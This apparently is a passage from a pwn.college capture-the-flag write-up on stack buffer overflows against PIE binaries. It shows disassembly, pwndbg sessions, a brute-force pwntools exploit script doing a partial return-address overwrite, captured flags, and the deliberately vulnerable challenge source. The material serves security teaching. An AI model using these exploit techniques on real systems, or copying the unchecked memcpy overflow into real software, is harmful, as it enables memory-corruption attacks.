[+] Attempt 1
[+] Starting local process '/challenge/binary-exploitation-pie-overflow-w': pid 36662
/home/hacker/script.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("bytes)!")
[+] Receiving all data: Done (2.31KB)
[*] Process '/challenge/binary-exploitation-pie-overflow-w' stopped with exit code -11 (SIGSEGV) (pid 36662)
[+] Attempt 2

# --- snip ---

[+] Attempt 26
[+] Starting local process '/challenge/binary-exploitation-pie-overflow-w': pid 36743
[+] Receiving all data: Done (2.40KB)
[*] Process '/challenge/binary-exploitation-pie-overflow-w' stopped with exit code -7 (SIGBUS) (pid 36743)
[!!!] FLAG FOUND !!!

You sent 106 bytes!
Let's see what happened with the stack:

+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007fff6762b0f0 (rsp+0x0000) | e8 14 02 00 00 00 00 00 | 0x00000000000214e8 |
| 0x00007fff6762b0f8 (rsp+0x0008) | a8 c2 62 67 ff 7f 00 00 | 0x00007fff6762c2a8 |
| 0x00007fff6762b100 (rsp+0x0010) | 98 c2 62 67 ff 7f 00 00 | 0x00007fff6762c298 |
| 0x00007fff6762b108 (rsp+0x0018) | 25 95 13 7f 01 00 00 00 | 0x000000017f139525 |
| 0x00007fff6762b110 (rsp+0x0020) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fff6762b118 (rsp+0x0028) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fff6762b120 (rsp+0x0030) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fff6762b128 (rsp+0x0038) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fff6762b130 (rsp+0x0040) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fff6762b138 (rsp+0x0048) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fff6762b140 (rsp+0x0050) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fff6762b148 (rsp+0x0058) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fff6762b150 (rsp+0x0060) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fff6762b158 (rsp+0x0068) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fff6762b160 (rsp+0x0070) | 41 41 41 41 6a 00 00 00 | 0x0000006a41414141 |
| 0x00007fff6762b168 (rsp+0x0078) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fff6762b170 (rsp+0x0080) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fff6762b178 (rsp+0x0088) | a5 1b b2 8c 3a 63 00 00 | 0x0000633a8cb21ba5 |
+---------------------------------+-------------------------+--------------------+
The program's memory status:
- the input buffer starts at 0x7fff6762b110
- the saved frame pointer (of main) is at 0x7fff6762b170
- the saved return address (previously to main) is at 0x7fff6762b178
- the saved return address is now pointing to 0x633a8cb21ba5.
- the address of win_authed() is 0x633a8cb21b8f.

If you have managed to overwrite the return address with the correct value,
challenge() will jump straight to win_authed() when it returns.
Let's try it now!

Goodbye!
You win! Here is your flag:
pwn.college{gZktsnGkKRB12cSj7INDtJQRuiy.0VMwMDL4ITM0EzW}

 

PIEs (hard)

hacker@binary-exploitation~pies-hard:/$ /challenge/binary-exploitation-pie-overflow 
Send your payload (up to 4096 bytes)!

In this challenge, we need the following in order to perform a buffer overflow:

  • Location of buffer
  • Distance of return address to main() from the buffer
  • Page offset of instruction in win_authed() function which skips the checks

Disassembly

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000001000 _init
0x00000000000010d0 __cxa_finalize@plt
0x00000000000010e0 __errno_location@plt
0x00000000000010f0 puts@plt
0x0000000000001100 write@plt
0x0000000000001110 printf@plt
0x0000000000001120 geteuid@plt
0x0000000000001130 read@plt
0x0000000000001140 setvbuf@plt
0x0000000000001150 open@plt
0x0000000000001160 exit@plt
0x0000000000001170 strerror@plt
0x0000000000001180 _start
0x00000000000011b0 deregister_tm_clones
0x00000000000011e0 register_tm_clones
0x0000000000001220 __do_global_dtors_aux
0x0000000000001260 frame_dummy
0x0000000000001269 bin_padding
0x0000000000001ab2 win_authed
0x0000000000001bcf challenge
0x0000000000001cd8 main
0x0000000000001d70 __libc_csu_init
0x0000000000001de0 __libc_csu_fini
0x0000000000001de8 _fini

Let's get the offset first.

win_authed()

pwndbg> disassemble win_authed
Dump of assembler code for function win_authed:
0x0000000000001ab2 <+0>: endbr64
0x0000000000001ab6 <+4>: push rbp
0x0000000000001ab7 <+5>: mov rbp,rsp
0x0000000000001aba <+8>: sub rsp,0x10
0x0000000000001abe <+12>: mov DWORD PTR [rbp-0x4],edi
0x0000000000001ac1 <+15>: cmp DWORD PTR [rbp-0x4],0x1337
0x0000000000001ac8 <+22>: jne 0x1bcc <win_authed+282>
0x0000000000001ace <+28>: lea rdi,[rip+0x533] # 0x2008
0x0000000000001ad5 <+35>: call 0x10f0 <puts@plt>
0x0000000000001ada <+40>: mov esi,0x0
0x0000000000001adf <+45>: lea rdi,[rip+0x53e] # 0x2024
0x0000000000001ae6 <+52>: mov eax,0x0
0x0000000000001aeb <+57>: call 0x1150 <open@plt>
0x0000000000001af0 <+62>: mov DWORD PTR [rip+0x254a],eax # 0x4040 <flag_fd.5701>
0x0000000000001af6 <+68>: mov eax,DWORD PTR [rip+0x2544] # 0x4040 <flag_fd.5701>
0x0000000000001afc <+74>: test eax,eax
0x0000000000001afe <+76>: jns 0x1b4d <win_authed+155>
0x0000000000001b00 <+78>: call 0x10e0 <__errno_location@plt>
0x0000000000001b05 <+83>: mov eax,DWORD PTR [rax]
0x0000000000001b07 <+85>: mov edi,eax
0x0000000000001b09 <+87>: call 0x1170 <strerror@plt>
0x0000000000001b0e <+92>: mov rsi,rax
0x0000000000001b11 <+95>: lea rdi,[rip+0x518] # 0x2030
0x0000000000001b18 <+102>: mov eax,0x0
0x0000000000001b1d <+107>: call 0x1110 <printf@plt>
0x0000000000001b22 <+112>: call 0x1120 <geteuid@plt>
0x0000000000001b27 <+117>: test eax,eax
0x0000000000001b29 <+119>: je 0x1b43 <win_authed+145>
0x0000000000001b2b <+121>: lea rdi,[rip+0x52e] # 0x2060
0x0000000000001b32 <+128>: call 0x10f0 <puts@plt>
0x0000000000001b37 <+133>: lea rdi,[rip+0x54a] # 0x2088
0x0000000000001b3e <+140>: call 0x10f0 <puts@plt>
0x0000000000001b43 <+145>: mov edi,0xffffffff
0x0000000000001b48 <+150>: call 0x1160 <exit@plt>
0x0000000000001b4d <+155>: mov eax,DWORD PTR [rip+0x24ed] # 0x4040 <flag_fd.5701>
0x0000000000001b53 <+161>: mov edx,0x100
0x0000000000001b58 <+166>: lea rsi,[rip+0x2501] # 0x4060 <flag.5700>
0x0000000000001b5f <+173>: mov edi,eax
0x0000000000001b61 <+175>: call 0x1130 <read@plt>
0x0000000000001b66 <+180>: mov DWORD PTR [rip+0x25f4],eax # 0x4160 <flag_length.5702>
0x0000000000001b6c <+186>: mov eax,DWORD PTR [rip+0x25ee] # 0x4160 <flag_length.5702>
0x0000000000001b72 <+192>: test eax,eax
0x0000000000001b74 <+194>: jg 0x1ba2 <win_authed+240>
0x0000000000001b76 <+196>: call 0x10e0 <__errno_location@plt>
0x0000000000001b7b <+201>: mov eax,DWORD PTR [rax]
0x0000000000001b7d <+203>: mov edi,eax
0x0000000000001b7f <+205>: call 0x1170 <strerror@plt>
0x0000000000001b84 <+210>: mov rsi,rax
0x0000000000001b87 <+213>: lea rdi,[rip+0x552] # 0x20e0
0x0000000000001b8e <+220>: mov eax,0x0
0x0000000000001b93 <+225>: call 0x1110 <printf@plt>
0x0000000000001b98 <+230>: mov edi,0xffffffff
0x0000000000001b9d <+235>: call 0x1160 <exit@plt>
0x0000000000001ba2 <+240>: mov eax,DWORD PTR [rip+0x25b8] # 0x4160 <flag_length.5702>
0x0000000000001ba8 <+246>: cdqe
0x0000000000001baa <+248>: mov rdx,rax
0x0000000000001bad <+251>: lea rsi,[rip+0x24ac] # 0x4060 <flag.5700>
0x0000000000001bb4 <+258>: mov edi,0x1
0x0000000000001bb9 <+263>: call 0x1100 <write@plt>
0x0000000000001bbe <+268>: lea rdi,[rip+0x545] # 0x210a
0x0000000000001bc5 <+275>: call 0x10f0 <puts@plt>
0x0000000000001bca <+280>: jmp 0x1bcd <win_authed+283>
0x0000000000001bcc <+282>: nop
0x0000000000001bcd <+283>: leave
0x0000000000001bce <+284>: ret
End of assembler dump.
# --- snip ---

0x0000000000001ab6 <+4>: push rbp
0x0000000000001ab7 <+5>: mov rbp,rsp
0x0000000000001aba <+8>: sub rsp,0x10
0x0000000000001abe <+12>: mov DWORD PTR [rbp-0x4],edi
0x0000000000001ac1 <+15>: cmp DWORD PTR [rbp-0x4],0x1337
0x0000000000001ac8 <+22>: jne 0x1bcc <win_authed+282>
0x0000000000001ace <+28>: lea rdi,[rip+0x533] # 0x2008

# --- snip ---

0x0000000000001bcc <+282>: nop

# --- snip ---

We can see that the check happens at offset 0x1ac1. Thus in order to skip it, we will have to return to 0x1ac8.

  • Location of buffer
  • Distance of return address to main() from the buffer
  • Page offset of instruction in win_authed() function which skips the checks: 0x1ac8

challenge()

pwndbg> disassemble challenge
Dump of assembler code for function challenge:
0x0000000000001bcf <+0>: endbr64
0x0000000000001bd3 <+4>: push rbp
0x0000000000001bd4 <+5>: mov rbp,rsp
0x0000000000001bd7 <+8>: sub rsp,0x90
0x0000000000001bde <+15>: mov DWORD PTR [rbp-0x74],edi
0x0000000000001be1 <+18>: mov QWORD PTR [rbp-0x80],rsi
0x0000000000001be5 <+22>: mov QWORD PTR [rbp-0x88],rdx
0x0000000000001bec <+29>: mov QWORD PTR [rbp-0x70],0x0
0x0000000000001bf4 <+37>: mov QWORD PTR [rbp-0x68],0x0
0x0000000000001bfc <+45>: mov QWORD PTR [rbp-0x60],0x0
0x0000000000001c04 <+53>: mov QWORD PTR [rbp-0x58],0x0
0x0000000000001c0c <+61>: mov QWORD PTR [rbp-0x50],0x0
0x0000000000001c14 <+69>: mov QWORD PTR [rbp-0x48],0x0
0x0000000000001c1c <+77>: mov QWORD PTR [rbp-0x40],0x0
0x0000000000001c24 <+85>: mov QWORD PTR [rbp-0x38],0x0
0x0000000000001c2c <+93>: mov QWORD PTR [rbp-0x30],0x0
0x0000000000001c34 <+101>: mov QWORD PTR [rbp-0x28],0x0
0x0000000000001c3c <+109>: mov QWORD PTR [rbp-0x20],0x0
0x0000000000001c44 <+117>: mov QWORD PTR [rbp-0x18],0x0
0x0000000000001c4c <+125>: mov DWORD PTR [rbp-0x10],0x0
0x0000000000001c53 <+132>: mov QWORD PTR [rbp-0x8],0x0
0x0000000000001c5b <+140>: mov QWORD PTR [rbp-0x8],0x1000
0x0000000000001c63 <+148>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000001c67 <+152>: mov rsi,rax
0x0000000000001c6a <+155>: lea rdi,[rip+0x49f] # 0x2110
0x0000000000001c71 <+162>: mov eax,0x0
0x0000000000001c76 <+167>: call 0x1110 <printf@plt>
0x0000000000001c7b <+172>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000001c7f <+176>: lea rax,[rbp-0x70]
0x0000000000001c83 <+180>: mov rsi,rax
0x0000000000001c86 <+183>: mov edi,0x0
0x0000000000001c8b <+188>: call 0x1130 <read@plt>
0x0000000000001c90 <+193>: mov DWORD PTR [rbp-0xc],eax
0x0000000000001c93 <+196>: cmp DWORD PTR [rbp-0xc],0x0
0x0000000000001c97 <+200>: jns 0x1cc5 <challenge+246>
0x0000000000001c99 <+202>: call 0x10e0 <__errno_location@plt>
0x0000000000001c9e <+207>: mov eax,DWORD PTR [rax]
0x0000000000001ca0 <+209>: mov edi,eax
0x0000000000001ca2 <+211>: call 0x1170 <strerror@plt>
0x0000000000001ca7 <+216>: mov rsi,rax
0x0000000000001caa <+219>: lea rdi,[rip+0x487] # 0x2138
0x0000000000001cb1 <+226>: mov eax,0x0
0x0000000000001cb6 <+231>: call 0x1110 <printf@plt>
0x0000000000001cbb <+236>: mov edi,0x1
0x0000000000001cc0 <+241>: call 0x1160 <exit@plt>
0x0000000000001cc5 <+246>: lea rdi,[rip+0x490] # 0x215c
0x0000000000001ccc <+253>: call 0x10f0 <puts@plt>
0x0000000000001cd1 <+258>: mov eax,0x0
0x0000000000001cd6 <+263>: leave
0x0000000000001cd7 <+264>: ret
End of assembler dump.
# --- snip ---

0x0000000000001c7b <+172>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000001c7f <+176>: lea rax,[rbp-0x70]
0x0000000000001c83 <+180>: mov rsi,rax
0x0000000000001c86 <+183>: mov edi,0x0
0x0000000000001c8b <+188>: call 0x1130 <read@plt>

# --- snip ---

Let's set a breakpoint at challenge+188 and run the program.

pwndbg> break *(challenge+188)
Breakpoint 1 at 0x1c8b
pwndbg> run
Starting program: /challenge/binary-exploitation-pie-overflow
Send your payload (up to 4096 bytes)!

Breakpoint 1, 0x0000592393cc1c8b in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────
RAX 0x7ffeda7492b0 ◂— 0
RBX 0x592393cc1d70 (__libc_csu_init) ◂— endbr64
RCX 0
RDX 0x1000
RDI 0
RSI 0x7ffeda7492b0 ◂— 0
R8 0x26
R9 0x26
R10 0x592393cc212c ◂— ' bytes)!\n'
R11 0x246
R12 0x592393cc1180 (_start) ◂— endbr64
R13 0x7ffeda74a440 ◂— 1
R14 0
R15 0
RBP 0x7ffeda749320 —▸ 0x7ffeda74a350 ◂— 0
RSP 0x7ffeda749290 ◂— 0
RIP 0x592393cc1c8b (challenge+188) ◂— call read@plt
──────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────
► 0x592393cc1c8b <challenge+188> call read@plt <read@plt>
fd: 0 (/dev/pts/3)
buf: 0x7ffeda7492b0 ◂— 0
nbytes: 0x1000

0x592393cc1c90 <challenge+193> mov dword ptr [rbp - 0xc], eax
0x592393cc1c93 <challenge+196> cmp dword ptr [rbp - 0xc], 0
0x592393cc1c97 <challenge+200> jns challenge+246 <challenge+246>

0x592393cc1c99 <challenge+202> call __errno_location@plt <__errno_location@plt>

0x592393cc1c9e <challenge+207> mov eax, dword ptr [rax]
0x592393cc1ca0 <challenge+209> mov edi, eax
0x592393cc1ca2 <challenge+211> call strerror@plt <strerror@plt>

0x592393cc1ca7 <challenge+216> mov rsi, rax
0x592393cc1caa <challenge+219> lea rdi, [rip + 0x487] RDI => 0x592393cc2138 ◂— 'ERROR: Failed to read input -- %s!\n'
0x592393cc1cb1 <challenge+226> mov eax, 0 EAX => 0
────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffeda749290 ◂— 0
01:0008│-088 0x7ffeda749298 —▸ 0x7ffeda74a458 —▸ 0x7ffeda74b6e7 ◂— 'SHELL=/run/dojo/bin/bash'
02:0010│-080 0x7ffeda7492a0 —▸ 0x7ffeda74a448 —▸ 0x7ffeda74b6bb ◂— '/challenge/binary-exploitation-pie-overflow'
03:0018│-078 0x7ffeda7492a8 ◂— 0x146f656a0
04:0020│ rax rsi 0x7ffeda7492b0 ◂— 0
... ↓ 3 skipped
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────
► 0 0x592393cc1c8b challenge+188
1 0x592393cc1d5e main+134
2 0x70f446d9c083 __libc_start_main+243
3 0x592393cc11ae _start+46
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
  • Location of buffer: 0x7ffeda7492b0
  • Distance of return address to main() from the buffer
  • Page offset of instruction in win_authed() function which skips the checks: 0x1ac8

Cyclic pattern

Let's create a cyclic pattern.

pwndbg> cyclic 200
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

Now let's set a breakpoint right after the read@plt, at challenge+193.

pwndbg> break *(challenge+193)
Breakpoint 2 at 0x592393cc1c90
pwndbg> c
Continuing.
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

Breakpoint 2, 0x0000592393cc1c90 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────
*RAX 0xc9
RBX 0x592393cc1d70 (__libc_csu_init) ◂— endbr64
*RCX 0x70f446e861f2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x1000
RDI 0
RSI 0x7ffeda7492b0 ◂— 0x6161616161616161 ('aaaaaaaa')
R8 0x26
R9 0x26
R10 0x592393cc212c ◂— ' bytes)!\n'
R11 0x246
R12 0x592393cc1180 (_start) ◂— endbr64
R13 0x7ffeda74a440 ◂— 1
R14 0
R15 0
RBP 0x7ffeda749320 ◂— 0x616161616161616f ('oaaaaaaa')
RSP 0x7ffeda749290 ◂— 0
*RIP 0x592393cc1c90 (challenge+193) ◂— mov dword ptr [rbp - 0xc], eax
──────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────
b+ 0x592393cc1c8b <challenge+188> call read@plt <read@plt>

► 0x592393cc1c90 <challenge+193> mov dword ptr [rbp - 0xc], eax [0x7ffeda749314] <= 0xc9
0x592393cc1c93 <challenge+196> cmp dword ptr [rbp - 0xc], 0 0xc9 - 0x0 EFLAGS => 0x206 [ cf PF af zf sf IF df of ac ]
0x592393cc1c97 <challenge+200> ✔ jns challenge+246 <challenge+246>

0x592393cc1cc5 <challenge+246> lea rdi, [rip + 0x490] RDI => 0x592393cc215c ◂— 'Goodbye!'
0x592393cc1ccc <challenge+253> call puts@plt <puts@plt>

0x592393cc1cd1 <challenge+258> mov eax, 0 EAX => 0
0x592393cc1cd6 <challenge+263> leave
0x592393cc1cd7 <challenge+264> ret

0x592393cc1cd8 <main> endbr64
0x592393cc1cdc <main+4> push rbp
────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffeda749290 ◂— 0
01:0008│-088 0x7ffeda749298 —▸ 0x7ffeda74a458 —▸ 0x7ffeda74b6e7 ◂— 'SHELL=/run/dojo/bin/bash'
02:0010│-080 0x7ffeda7492a0 —▸ 0x7ffeda74a448 —▸ 0x7ffeda74b6bb ◂— '/challenge/binary-exploitation-pie-overflow'
03:0018│-078 0x7ffeda7492a8 ◂— 0x146f656a0
04:0020│ rsi 0x7ffeda7492b0 ◂— 0x6161616161616161 ('aaaaaaaa')
05:0028│-068 0x7ffeda7492b8 ◂— 0x6161616161616162 ('baaaaaaa')
06:0030│-060 0x7ffeda7492c0 ◂— 0x6161616161616163 ('caaaaaaa')
07:0038│-058 0x7ffeda7492c8 ◂— 0x6161616161616164 ('daaaaaaa')
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────
► 0 0x592393cc1c90 challenge+193
1 0x6161616161616170 None
2 0x6161616161616171 None
3 0x6161616161616172 None
4 0x6161616161616173 None
5 0x6161616161616174 None
6 0x6161616161616175 None
7 0x6161616161616176 None
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

We can see that the rbp register has the value 0x616161616161616f which in little endian ASCII is oaaaaaaa.

Let's find the offset of this sub pattern in our cyclic pattern.

pwndbg> cyclic -l oaaaaaaa
Finding cyclic pattern of 8 bytes: b'oaaaaaaa' (hex: 0x6f61616161616161)
Found at offset 112

If we increment the offset by 8, it will point to the saved return address.

Therefore the distance between the buffer and the saved return address is offset+8 which is equal to 120.

  • Location of buffer: 0x7ffeda7492b0
  • Distance of return address to main() from the buffer: 120
  • Page offset of instruction in win_authed() function which skips the checks: 0x1ac8

Exploit

~/script.py
from pwn import *

padding = b"A" * 120
payload = padding + b"\xc8\x1a"

attempt = 0

while True:
attempt += 1
print(f"[+] Attempt {attempt}")

p = process('/challenge/binary-exploitation-pie-overflow')
try:
p.recvuntil("bytes)!")
p.send(payload)
output = p.recvall(timeout=1).decode(errors="ignore")

if "pwn.college{" in output:
print("[!!!] FLAG FOUND !!!")
print(output)
break

except Exception:
pass
finally:
p.close()
hacker@binary-exploitation~pies-hard:/$ python ~/script.py 
[+] Attempt 1
[+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 8453
/home/hacker/script.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("bytes)!")
[+] Receiving all data: Done (10B)
[*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -11 (SIGSEGV) (pid 8453)
[+] Attempt 2
[+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 8456
[+] Receiving all data: Done (10B)
[*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -11 (SIGSEGV) (pid 8456)

# --- snip ---

[+] Attempt 16
[+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 8498
[+] Receiving all data: Done (97B)
[*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -7 (SIGBUS) (pid 8498)
[!!!] FLAG FOUND !!!

Goodbye!
You win! Here is your flag:
pwn.college{s-lO3kZRRLeXbVsdt-ONArpI4Xu.0lMwMDL4ITM0EzW}

 

String Lengths (easy)

Source code

/challenge/binary-exploitation-null-write-w
#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>

uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;

#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}

void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}

void bin_padding()
{
asm volatile (".rept 2783; nop; .endr");
}

void win_authed(int token)
{
static char flag[256];
static int flag_fd;
static int flag_length;

if (token != 0x1337) return;

puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}

int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[48];
} data = {0} ;

unsigned long size = 0;

puts("The challenge() function has just been launched!");

GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 48);
printf("large input length, and thus overflow the buffer.\n\n");

printf("In this level, there is no \"win\" variable.\n");
printf("You will need to force the program to execute the win_authed() function\n");
printf("by directly overflowing into the stored return address back to main,\n");
printf("which is stored at %p, %d bytes after the start of your input buffer.\n", rp_, rp_ - (unsigned long) &data.input);
printf("That means that you will need to input at least %d bytes (%d to fill the buffer,\n", rp_ + 8 - (unsigned long) &data.input, 48);
printf("%d to fill other stuff stored between the buffer and the return address,\n", rp_ - (unsigned long) &data.input - 48);
printf("and 8 that will overwrite the return address).\n\n");

puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the canary is disabled, otherwise you would corrupt it before");
puts("overwriting the return address, and the program would abort.");

size = 4096;

printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 48);

printf("Of these, you will overwrite %d bytes into the return address.\n", (long)((unsigned long) &data.input + size - rp_));
printf("If that number is greater than 8, you will overwrite the entire return address.\n\n");

puts("One caveat in this challenge is that the win_authed() function must first auth:");
puts("it only lets you win if you provide it with the argument 0x1337.");
puts("Speifically, the win_authed() function looks something like:");
puts(" void win_authed(int token)");
puts(" {");
puts(" if (token != 0x1337) return;");
puts(" puts(\"You win! Here is your flag: \");");
puts(" sendfile(1, open(\"/flag\", 0), 0, 256);");
puts(" puts(\"\");");
puts(" }");
puts("");

printf("So how do you pass the check? There *is* a way, and we will cover it later,\n");
printf("but for now, we will simply bypass it! You can overwrite the return address\n");
printf("with *any* value (as long as it points to executable code), not just the start\n");
printf("of functions. Let's overwrite past the token check in win!\n\n");

printf("To do this, we will need to analyze the program with objdump, identify where\n");
printf("the check is in the win_authed() function, find the address right after the check,\n");
printf("and write that address over the saved return address.\n\n");

printf("Go ahead and find this address now. When you're ready, input a buffer overflow\n");
printf("that will overwrite the saved return address (at %p, %d bytes into the buffer)\n", rp_, rp_ - (unsigned long)&data.input);
printf("with the correct value.\n\n");

puts("This challenge is careful about reading your input: it will allocate a correctly-sized temporary");
puts("buffer on the heap, and then copy the data over to the stack. Can you figure out a way to fool");
puts("this technique and cause an overflow?");
char *tmp_input = malloc(size);
assert(tmp_input != 0);
printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, tmp_input, (unsigned long) size);
puts("Checking length of received string...");
size_t string_length = strlen(tmp_input);
assert(string_length < 48);
printf("Passed! We should have enough space for all %d bytes of it on the stack. Copying all %d received bytes!\n", string_length, received);
memcpy(&data.input, tmp_input, received);

if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}

printf("You sent %d bytes!\n", received);

printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);

printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("- the address of win_authed() is %p.\n", win_authed);
printf("\n");

printf("If you have managed to overwrite the return address with the correct value,\n");
printf("challenge() will jump straight to win_authed() when it returns.\n");
printf("Let's try it now!\n\n", 0);

if (received + ((unsigned long) &data.input) > rp_ + 2)
{
puts("WARNING: You sent in too much data, and overwrote more than two bytes of the address.");
puts(" This can still work, because I told you the correct address to use for");
puts(" this execution, but you should not rely on that information.");
puts(" You can solve this challenge by only overwriting two bytes!");
puts(" ");
}

puts("Goodbye!");

return 0;
}

int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char crash_resistance[0x1000];

challenge(argc, argv, envp);

}
hacker@binary-exploitation~string-lengths-easy:/$ /challenge/binary-exploitation-null-write-w
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
